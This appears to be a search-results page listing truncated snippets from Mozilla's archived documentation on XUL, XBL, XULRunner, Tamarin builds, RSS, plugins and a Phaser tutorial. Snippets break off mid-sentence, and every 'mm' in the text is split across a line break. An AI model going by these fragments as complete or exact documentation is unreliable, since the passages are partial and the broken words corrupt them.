... accesskey this is the key that the user can press to activate the menu item. this letter is typically shown underlined on the menu title. mozilla will look at the label attribute and add an underline character to the character specified here. for that reason, you should specify a character that exists in the text. acceltext this specifies the shortcut key text to appear next to the menu co
mmand text. it does not associate a key action with the menuitem however. we'll look at how to do this later. menuseparator element the menuseparator has no special attributes. it just creates a horizontal bar between the menuitems next to it. next, we'll learn some more features of menus. « previousnext » ...
XBL Example - Archive of obsolete content
property gets its value by looking at the first element of the anonymous array. this returns the vertical box, so to get the deck, we need to get the first child node of the box. the anonymous array isn't used as the deck is not anonymous from the box. finally, the value of the selectedindex attribute is retrieved. to set the page, a method 'setpage' is called which will be defined later. ...
...tedindex attribute is retrieved. to set the page, a method 'setpage' is called which will be defined later. an onco
mmand handler will need to be added to the previous and next buttons so that the page is changed when the buttons are pressed. conveniently, we can change the page using the custom 'page' property that was just added: <xul:button xbl:inherits="label=previoustext" onco
mmand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" onco
mmand="parentnode.parentnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentnode property to get to it. the first parentnode returns the parent of the button which is the horizontal box, the seco...
...d a border around the deck with css to make it look a bit nicer. ...
...content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext" onco
mmand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" onco
mmand="parentnode.parentnode.parentnode.page++;"/> </xul:hbox> </xul:vbox> </content> <implementation> <constructor> var totalpages=this.childnodes.length; document.getanonymousnodes(this)[0].childnodes[1].childnodes[1] .setattribute("value",(this.page+1)+" of "+totalpages); </constructor> <property name="page" onget="return parseint(d...
XUL element attributes - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it specifies how its children will be aligned horizontally. start child elements are aligned starting from the left or top edge of the box. ...
...ify the element with. you can use this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets. insertafter type: id when an element is in an overlay, the insertafter attribute specifies the id of the element in the base window that the element should appear after. this attribute overrides the insertbefore attribute. this value may be a co
mma-separated list of ids, which are scanned and the first one found in the window is used. insertbefore type: id when an element is in an overlay, the insertbefore attribute specifies the id of the element in the base window that the element should appear before. this value may be a co
mma-separated list of ids, which are scanned and the first one found in the window is used. left t...
... this attribute is ignored if either an insertbefore or insertafter attribute matches an element. preference-editable mozilla 1.8 type: boolean if true, the element may be used as one that modifies a preference in a prefwindow. the preference attribute may be used to connect to a preference element. this is useful for custom elements implemented in xbl. the element should fire change, co
mmand, or input event when the value is changed so that the preference will update accordingly. see the pref system documentation for more information. querytype type: string indicates the type of datasource used in a template. firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'. extensions may provide support for additional datasources. ref type: uri ...
...ers over the element for a moment. the tooltip will automatically disappear when the mouse is moved. if this attribute is set to '_child', the first tooltip child element inside the element is used. tooltiptext type: string used to set the text which appears in the tooltip when the user moves the mouse over the element. this can be used instead of setting the tooltip to a popup for the co
mmon case where it contains only text. the tooltip is displayed in a default tooltip which displays only a label, however the default tooltip may be changed by setting the default attribute on a tooltip element. top type: string (representing an integer) for elements placed directly within a stack, specifies the pixel position of the top edge of the element relative to the top edge of the s...
XUL Coding Style Guidelines - Archive of obsolete content
markups for content data, and even javascript for user event handling. to make xul files easy to read and maintain, localization friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable. the author has collected a set of guidelines from various sources listed in the references section. while some of the guidelines are reco
mmended practices, the others are mandatory. xml, xul, html, and xhtml guidelines the following are considered good coding style for xml/xul documents. disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert html files to xul files. use the xml declaration. use namespace. case sensitivity. use chrome urls. javascript code shall be mo...
... considered good coding style for xml/xul documents. disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert html files to xul files. use the xml declaration. use namespace. case sensitivity. use chrome urls. javascript code shall be moved out of xul. dtd declaration. predefined entities. other guidelines mentioned in xhtml 1.1 reco
mmendation. see details here. making xul localizable -- mandatory in the past, ui (display) related resource descriptions are stored in *.rc (for windows client) or *.ad (for unix client) so that they can be localized for a specific language or culture. in the new world, mozilla 5.0, this is not true any more. most of the windows and dialogs in mozilla will be described using xul. to make xul stre...
...--> properties files are very similar, but use the pound sign instead of <!--<var>xxxxx</var>-->: # localization note entity name : content we recognize that translation is a subset of localization even though we've consistently referred to our notes as "localization note". files not to be localized? some files live in the tree but aren't really part of the build; they're just there as progra
mming examples or a kind of source documentation. to prevent them from being localized, you may insert a line of co
mment following the xml declaration as follows. <?xml version="1.0" encoding='utf-8'?> <!-- do not localize this file: [reason...] it isn't part of the build; --> when translators see this line, they won't bother to look at the rest of the file. references xul is discussed in depth ...
...published by wrox press inc. isbn 1-861001-52-5. ...
dialog - Archive of obsolete content
utton. buttonlabelextra2 type: string the label to appear on the second extra button. buttonlabelhelp type: string the label to appear on the "help" button. buttonorient type: string the value of the orient attribute for the box containing the buttons. buttonpack type: string the value of the pack attribute for the box containing the buttons. buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear in the dialog box. the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. canc...
...more information. this might be a button or a disclosure triangle. extra1: an optional additional button. you can set its label with the buttonlabelextra1 attribute. extra2: a second optional additional button. you can set its label with the buttonlabelextra2 attribute. note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single co
mma). warning: if the accept and cancel buttons are actually shown is system dependent and is mainly controlled by the value of the boolean preference browser.preferences.instantapply. if it is set to true any changes to settings are supposed to be applied i
mmediately. the accept button is therefore unnecessary and is hidden. the cancel button might be shown as an additional possibility to close ...
...of the same values as those for the buttons attribute. inactivetitlebarcolor type: color string specify background color of the window's titlebar when it is inactive (background). moreover this hides separator between titlebar and window contents. this affects only on mac os x. title type: string the text to appear in the title bar of the window. properties buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear on the dialog box. the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. canc...
...ot be set, but if it is, it specifies the default button in the dialog. typically, this means that the button will be activated when the enter key is pressed. this should be set to one of the same values as those for the buttons attribute. ...
listitem - Archive of obsolete content
tes | properties | methods | related ] a single row in a listbox. the text of the listitem is specified either using listcell elements, or by placing a label attribute directly on the listitem element. by default it contains a single listcell element of type and class appropriate to that of the listitem. more information is available in the xul tutorial. ...
...d as a shortcut key. this should be one of the characters that appears in the label attribute for the element. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine whether this attribute is set instead of getattribute(). for buttons, the type attribute must be set to checkbox or radio for this attribute to have any effect. co
mmand type: id set to the id of a co
mmand element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed...
...omize the focus ring. to change the currently selected item in a listbox, use the listbox property selecteditem. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...e tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
radio - Archive of obsolete content
in groups. only one radio button within the same radiogroup may be selected at a time. the user can switch which radio button is turned on by selecting it with the mouse or keyboard. other radio buttons in the same group are turned off. a label, specified with the label attribute may be added beside the radio button. more information is available in the xul tutorial. ...
... label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. co
mmand type: id set to the id of a co
mmand element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reverse...
...ule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
toolbar - Archive of obsolete content
label="events" disabled="true"/> </toolbar> </toolbox> attributes autohide type: boolean when set to true, the toolbar will be invisible unless the alt key is pressed by the user. when set to false, the default, the toolbar is visible. this only has an effect on windows and needs to be combined with type="menubar" and a menubar element. currentset not in seamonkey 1.x type: co
mma-separated string the current set of displayed items on the toolbar. this will be modified when the user customizes the toolbar. the value of this attribute should be a co
mma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer". customindex not in seamonkey 1.x type: integer this value is the index of the tool...
... 1.x type: integer this value is the index of the toolbar in the list of the custom toolbars. the value is updated automatically by the toolbar customization dialog. customizable not in seamonkey 1.x type: boolean set this attribute to true on toolbars that can be customized. this causes the set of buttons to be persisted across sessions. defaultset not in seamonkey 1.x type: co
mma-separated list of item ids the default set of displayed items on the toolbar. this should be set to a co
mma-separated list of item ids from the toolbarpalette. for example, back-button,forward-button,print-button. grippyhidden seamonkey only type: boolean when set to true, the grippy will be hidden. when set to false, the default, the grippy will be shown. grippytooltiptext seam...
...oolbar are displayed. icons show only icons. text show only text. full show both. toolbarname not in seamonkey 1.x type: string the name of the toolbar, which is listed on the show/hide toolbars menu. properties accessibletype type: integer a value indicating the type of accessibility object for the element. currentset not in seamonkey 1.x type: co
mma-separated list of strings holds a co
mma-separated list of the ids of the items currently on the toolbar. for spacers, separators, and flexible spacers the following strings are used instead of ids: "spacer", "separator", "spring". an empty toolbar has a currentset value of "__empty". you may change the current set of items by setting this property. be careful, as setting this property doesn...
...rpalette. some special ids may also be used to create special spacing items: separator: a separator, which is drawn as a vertical bar. spacer: a non-flexible space. spring: a flexible space. the method returns the dom element for the created item. ...
window - Archive of obsolete content
--> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <description>register online!</description> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> ...
... activetitlebarcolor type: color string specify background color of the window's titleb...
...vetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground). moreover this hides separator between titlebar and window contents. this only affects mac os x. chromemargin type: margin string controls the amount of chrome that should be visible on each side of the window. the specified string should contain four numbers, separated by co
mmas, indicating the margin in pixels for the top, right, bottom, and left edges of the window, respectively. this value may be -1 to use the default margin for that side on the current platform, 0 to have no system border (that is, to extend the client area to the edge of the window), or a value greater than zero to indicate how much less than the default default width you wish the margin on that s...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Getting started with XULRunner - Archive of obsolete content
r anything. main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" onco
mmand="showmore();"/> <separator/> <description id="more-text" hidden="true">this is a simple xulrunner application. xul is simple to use and quite powerful and can even be used on mobile devices.</description> </window> note: make sure there is no extra whitespace at the beginning of the xml/xul file the application also has a javascript file. most xul applications will include some externa...
...w how to include it into the xul file. main.js: function showmore() { document.getelementbyid("more-text").hidden = false; } for more information about xul see: xul. for information about mixing html elements into your xul read adding html elements. step 8: run the application the moment of truth. we need to get xulrunner to launch the bare-bones application. windows from a windows co
mmand prompt opened to the myapp folder, we should be able to execute this: c:\path\to\xulrunner.exe application.ini of course, if you opted to install xulrunner then you could simply do %programfiles%\xulrunner.exe application.ini or on 64 bit systems %programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it. see x...
...imply do %programfiles%\xulrunner.exe application.ini or on 64 bit systems %programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it. see xul application packaging for details. mac on the mac, before you can run a xulrunner application with everything intact, you must install it using the --install-app xulrunner co
mmandline flag. installing the application creates an os x application bundle: /library/frameworks/xul.framework/xulrunner-bin --install-app /<path>/<to>/myapp.zip once installed, you can run the application: /library/frameworks/xul.framework/xulrunner-bin "/applications/finkle/testapp.app/contents/resources/application.ini" you may run it without installing (but with the menu bar and dock i...
...n ubuntu, you can run the application from a terminal. first change into the \myapp folder, then start the application by: xulrunner application.ini you should now see a window that looks something like this. this particular screenshot is from ubuntu 10. alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the co
mmand line. the xul application will run instead of the firefox browser that normally starts. this is similar to starting a xul app using xulrunner. see using firefox to run xulrunner applications. this does not work if firefox itself was installed as a xul app - you need to use the installed xulrunner directly. further reading: there are many things you can do with xulrunner (who would have thoug...
2006-11-03 - Archive of obsolete content
11 2006. when he builds using the disable.crypto option he encounters the following problem: no rule to make target `../../dist/lib/components/libpipboot.a', needed by `minimo'. ...
...ounters the following problem: no rule to make target `../../dist/lib/components/libpipboot.a', needed by `minimo'. he has also created a bug entry on bugzilla with the bug id of opened bug #344854. problem compiling with vs 2003 .net phil is trying to compile firefox for the first time and is getting an error when doing so: building deps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/co
mmon/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1. on november 1st gavin sharp responded phil's question. he said that the problem that phil is experiencing is a known issue. he also mentioned that airbag doesn't build with msvc 7.1. (http://www.google.com/url?sa=d&q=htt...tail%3f...
...ing.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1. on november 1st gavin sharp responded phil's question. he said that the problem that phil is experiencing is a known issue. he also mentioned that airbag doesn't build with msvc 7.1. (http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin reco
mmended that phil should add |ac_add_options --disable-airbag| to his .mozconfig. new windows compatibility issue? originally posted on november 1st: dale dale has set up a windows machine in order to perform mozilla builds but has been unsuccessful to do so. according to him he has followed the windows build requirements reco
mmended by mozilla. he also noted that he has had different results ...
...bout paul taking down one of the two build boxes that produces nightly builds for linux. on october 30th j. paul reed responds to boris with the following explanation on why he is taking down one of two the linux build servers. paul explains that his goal is to do only singular sets of builds where the coverage of all the platforms is constant. meetings there were no meetings this week. su
mmarized by: vanessa miranda & moha
mmad tirtashi ...
2006-11-24 - Archive of obsolete content
su
mmary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for this week. discussions what display events in the month view ? ...
...su
mmary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for this week. discussions what display events in the month view ? ...
...ember 24, 2006 announcements no meeting for this week. discussions what display events in the month view ? discussions about functions that display the events/tasks of the calendars in month view. filing bugs for prototype implementations discussions about explicitly address bugs in the prototype implementations. proposal for an event su
mmary dialog discussions about design for an event su
mmary dialog. ...
...or an event su
mmary dialog discussions about design for an event su
mmary dialog. proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning. treating calendars as tags discussions concerning about the layout of calendar list in lightning/sunbird. meetings no meetings were scheduled this week. ...
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
(even through you are not suppose to.) for example, if your blog post was: this is <b>bold</b>. ...
...(even through you are not suppose to.) for example, if your blog post was: this is <b>bold</b>. ...
...ta[this is <b>bold</b>.]]></description> this helps reduce the bloat. however, the <description> is not suppose to be used for any of this. it is only suppose to be used to includeplain text. but rss still leaves us without a way to include html contents. the rss content module fills this gap. note: do not put anything butplain text into the rss <description> element. although it has become co
mmon practice to use the rss <description> element and put non-plain text data in it. it is not actually allowed. the rss 2.0 specification clearly states that “entity-encoded html is allowed“ and even provides examples showing exactly the syntax above (using cdata and unencoded html). the wording of this note should be reconsidered. an example using the most popular element of the rss content...
... ...
Element - Archive of obsolete content
rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice). however, use of wfw as the xml namespace prefix is not necessary. ...
... rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice). however, use of wfw as the xml namespace prefix is not necessary. ...
... rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice). however, use of wfw as the xml namespace prefix is not necessary. ...
... rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice). however, use of wfw as the xml namespace prefix is not necessary. ...
Tamarin Tracing Build Documentation - Archive of obsolete content
ted in buildbot raw image (no os) armv5 supported, acceptance and performance tests not done linux (nokia n810) armv5 supported, acceptance and performance tests not done current build status the current tamarin tracing build status can be found at tamarin tracing build status getting the tamarin source the tamarin tracing source resides in mercurial at tamarin tracing. use the following co
mmand to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (
mmgc), and create a standalone executable, avmshell, for executing files in the abc file format. running avmshell without any arguments will list the available options. note that ...
...the tamarin codebase contains a cross-platform build system for mozilla developers. ...
...amarin with the debugging hooks off for codesize reasons, but the mozilla client will build tamarin with the debugging hooks on. cross-platform build first, you must have the mozilla build prerequisites for your platform. additionally, you need python 2.4 or later and gnu make 3.81 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these co
mmands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ... $ shell/avmshell avmshell 1.0 build cyclone ... that's all. the avmplus executable is avmshell. for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose windo...
...t for the latest results or a weekly performance report. tamarin buildbot tryserver the tryserver/sandbox is setup to allow users to push any code changes that they would like to have tested in the automated build/test process prior to actually pushing the changes. the sandbox is setup so that it is able to build and test branches that are based on either tamarin-central or tamarin-tracing. any co
mments, questions or problems can be directed to brent baker how to setup a user repository with the source and patches that will be compiled. documentation on how to setup a user repository http://developer.mozilla.org/en/publishing_mercurial_clones. push any changes that you want to test into this repository. request a build via the form at http://tamarin-builds.mozilla.org/build_trigger/request...
The Basics of Web Services - Archive of obsolete content
both web services and forms send and receive requests. the only major difference is that a web service uses xml. ...
...ything that new, and actually, if you've ever used an rss or atom feed to pull news from a website, you have an idea of how a web service might work. web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other. (xml introduction). ...
... introducing xml-rpc xml-rpc is a type of web service and has been around since 1998, though not an official w3c standard, it is widely used. xml-rpc was developed by useful inc, along with microsoft. ...
... introducing xml-rpc xml-rpc is a type of web service and has been around since 1998, though not an official w3c standard, it is widely used. xml-rpc was developed by useful inc, along with microsoft. warning: xml-rpc support was removed from firefox starting with firefox 3. ...
References - Archive of obsolete content
what are the advantages of using web standards? ...
...s and tutorials from htmldog.com preparing for standard-compliant browsers, part 1 from makiko itoh preparing for standard-compliant browsers, part 2 from makiko itoh javascript best practices lists 15 of the most frequent coding practices which create problems for javascript and dhtml-driven webpages. ...
...actices which create problems for javascript and dhtml-driven webpages. the webpage explains and proposes with small examples the best coding practices and most reco
mmendable ways of developing problem-free javascript code. ...
... explains and proposes with small examples the best coding practices and most reco
mmendable ways of developing problem-free javascript code. from matt kruse debugging html and css is a well designed website explaining well the how, why and where of html validation, css validation and debugging tools. we highly reco
mmend this site. it is also available in french. ...
@cc_on - Archive of obsolete content
warning: conditional compilation is not supported in internet explorer 11 standards mode and windows 8.x store apps. conditional compilation is supported in internet explorer 10 standards mode and in all earlier versions. the @cc_on statement activates conditional compilation support within co
mments in a script. syntax @cc_on remarks the @cc_on statement activates conditional compilation within co
mments in a script. it is not co
mmon to use conditional compilation variables in scripts written for asp or asp.net pages or co
mmand-line programs because the capabilities of the compilers can be determined by using other methods. when you write a script for a web page, always put conditional compilation code in co
mments. this enables hosts that do not support conditional compila...
... example the following example illustrates the use of the @cc_on statement. ...
... example the following example illustrates the use of the @cc_on statement. ...
... example the following example illustrates the use of the @cc_on statement. ...
XForms Custom Controls - Archive of obsolete content
e you need to. implementation status the framework we use in the mozilla xforms processor is very much a "work in progress". please keep in mind that just about everything we mention here may change to some degree as we continue to work on it. work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and co
mmon way to customize your form's user interface across all xforms processors. why do you need this you will probably find that your need for customization will fall into one of the following categories: custom presentation - xforms controls as rendered by the mozilla xforms processor do not provide the right look and feel for you. custom data types - existing xforms controls are not able to work p...
...the moztype namespace is introduced by mozilla xforms implementation and its uri is http://www.mozilla.org/projects/xforms/2005/type. for example, if a control is bound to a node of type xsd:integer then the typelist attribute will be "http://www.w3.org/2001/xmlschema#integer http://www.w3.org/2001/xmlschema#decimal". this is because xsd:integer is inherited from the xsd:decimal data type. we reco
mmend that you use this attribute to create the css binding rule for your custom control. this will allow you to bind your custom control for the data type that you are targeting and any type derived from that target type. so if you want an input bound to an instance node of type integer (and all types derived from integer), you would use: @namespace xf url(http://www.w3.org/2002/xforms); @namespace...
... */ nsidomnode getboundnode(); /** * set the content of the instance node. if aforceupdate is true then the * xforms model will rebuild/recalculate/revalidate/refresh. */ void setcontent(in nsidomnode anode, in boolean aforceupdate); } note: setcontent() can be used to set place complexcontent (mixture of text and element nodes) under the control's bound node. please see the co
mments in the source .idl file for more information on using this method. xbl bindings most xforms control elements have at least two bindings applied to themselves. one is the base binding that implements the core behavior of the xforms control. the other is the implementation binding that adds the host-language specific representation of the xforms control. an example of the latter is the binding ...
...rt, upload and repeat xforms controls. input.xml - contains the base bindings for input, secret and textarea xforms controls. select.xml - contains the base bindings for select and select1 xforms controls (except minimal/default select1 that is hosted in select1.xml file) range.xml - contains the base bindings for the range xforms control. xforms.xml also defines the few base bindings that are co
mmon for all xforms controls. these are: xformswidget-general - defines utility properties and methods co
mmon for all xforms controls xformswidget-accessors - defines the methods that are allow the bindings to work with bound instance nodes and the xforms element itself. xformswidget-base - implements nsixformsuiwidgets interfaces. you are free to choose what type of binding you will extend to pro...
Archived open Web documentation - Archive of obsolete content
browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a co
mmon sense approach to browser detection. browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside ...
... obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system. e4x ecmascript for xml (e4x) is a progra
mming language extension that adds native xml support to javascript. it does this by providing access to the xml document in a form that feels natural for ecmascript progra
mmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x tutorial ...
...ment in a form that feels natural for ecmascript progra
mmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x tutorial this tutorial walks you through the basic syntax of e4x (ecmascript for xml). with e4x, progra
mmers can manipulate an xml document with a syntax more familiar to javascript progra
mming. talk:array.foreach() ok, in the end i didn't remove the old code as it isn't hosted anywhere (i thought the github reference contained the code) but inserted a faster implementation above while retaining the rest of the document. itera...
...nt. iterator the iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object. liveconnect (please update or remove as needed.) msx emulator (jsmsx) old proxy api proxies are objects for which the progra
mmer has to define the semantics in javascript. the default object semantics are implemented in the javascript engine, often written in lower-level languages like c++. proxies let the progra
mmer define most of the behavior of an object in javascript. they are said to provide a meta-progra
mming api. parallelarray the goal of parallelarray was to e...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
this article is about how to invoke a plugin with the correct use of html. it discusses the object element and the embed element, with details about using the most apt html to invoke java in a web page as well. the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the reco
mmended mechanism to invoke plugins. its use is subject to a few caveats that this section outlines. traditionally, the object element has been used differently by microsoft internet explorer and by mozilla-based browsers such as netscape 7. in ie, the object element is used to invoke a plugin that is built on the activex architecture. here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-1...
...ion.swf"> param element, which is supposed to tell the flash player which animation to start playing. in order to work around this, developers are encouraged to use the data attribute to the object element: <object type="application/x-shockwave-flash" data="animation.swf"..../>. the fact that the flash player doesn't understand this param is a macromedia flash player bug that is bug 180378. reco
mmendation in order to overcome the shortcomings that you can't nest object elements in ie and that there isn't a way you can simply use one object element in a cross-browser way (with architecture specific obtainment mechanisms), the best course of action is to dynamically write object elements based on architecture. for example, on browsers that support activex, such as ie, create an object eleme...
...href="http://www.macromedia.com/downloads">here<\/a>.'); document.write('<\/p>'); document.write('<\/object>'); } see also: flash satay the object element and java mozilla-based browsers such as netscape 6.x, netscape 7, and compuserve 7 ship with the java plugin that sun provides. users installing netscape 6.x and netscape 7 have a choice of whether or not to install java. unlike netscape co
mmunicator 4.x, netscape 6.x and 7 do not have a default java virtual machine -- they rely on sun's plugin. during the netscape co
mmunicator 4.x days, netscape co
mmunications used to develop a java virtual machine which supported java 1.5.0 and below. now, with netscape 6 and 7, the java virtual machine is sun's plugin. netscape no longer develops or ships a default netscape java virtual machine wit...
...tes are specified or not makes no difference -- the browser willalways consult with the plugin finder service to determine if it has a plugin to handle the missing mime type. if the preference is unchecked, the plugin finder service will be consulted only if the web page authordoes not specify either of these attributes. original document information author(s): arun k. ranganathan, netscape co
mmunications last updated date: 14. nov 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. link: http://devedge-temp.mozilla.org/view.../index_en.html references general -- specifications html 4.01 specification xhtml 1.0 specification object element html 4.01 specification on object element embed element plugin api reference on embed element on dev...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
ing scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape co
mmunicator 4.x plugins exposed to javascript in mozilla based browsers. in order to make it still possible to script plugins, some changes have been made to the mozilla code. the changes allow to make existing 4.x plugins scriptable with only minor modifications in their code. the present document describes the steps of what should be done to the plugin code to turn it scriptable again. what's in th...
... nppvariable enumeration type which are now defined in npapi.h as: nppvpluginscriptableinstance = 10, nppvpluginscriptableiid = 11 and two analogous additions to nsplugininstancevariable type in nsplugindefs.h as: nsplugininstancevariable_scriptableinstance = 10, nsplugininstancevariable_scriptableiid = 11 what's in the plugin code? a unique interface id should be obtained. windows co
mmand uuidgen should be sufficient. an interface definition (.idl) file describing the plugin scriptable interface should be added to the project (see example 1). a scriptable instance object should be implemented in the plugin. this class will contain native methods callable from javascript. this class should also inherit from nsiclassinfo and implement its methods to be able to request all necessa...
...o { // these flags are used by the dom and security systems to signal that // javascript callers are allowed to call this object's scritable methods. ns_imethod getflags(pruint32 *aflags) {*aflags = nsiclassinfo::plugin_object | nsiclassinfo::dom_object; return ns_ok;} ns_imethod getimplementationlanguage(pruint32 *aimplementationlanguage) {*aimplementationlanguage = nsiprogra
mminglanguage::cplusplus; return ns_ok;} // the rest of the methods can safely return error codes... ns_imethod getinterfaces(pruint32 *count, nsiid * **array) {return ns_error_not_implemented;} ns_imethod gethelperforlanguage(pruint32 language, nsisupports **_retval) {return ns_error_not_implemented;} ns_imethod getcontractid(char * *acontractid) {return ns_error_not_imple...
... ...
2D maze game with device orientation - Game development
in this tutorial we’ll go through the process of building an html5 mobile game that uses the device orientation and vibration apis to enhance the gameplay and is built using the phaser framework. basic javascript knowledge is reco
mmended to get the most from this tutorial. example game by the end of the tutorial you will have a fully functional demo game: cyber orb. it will look something like this: phaser framework phaser is a framework for building desktop and mobile html5 games. it’s quite new, but growing rapidly thanks to the passionate co
mmunity involved in the development process. you can check it out on github where it’s open sourced, read the online documentation and go through the big collection of examples. the phaser framework provides you with a set of tools tha...
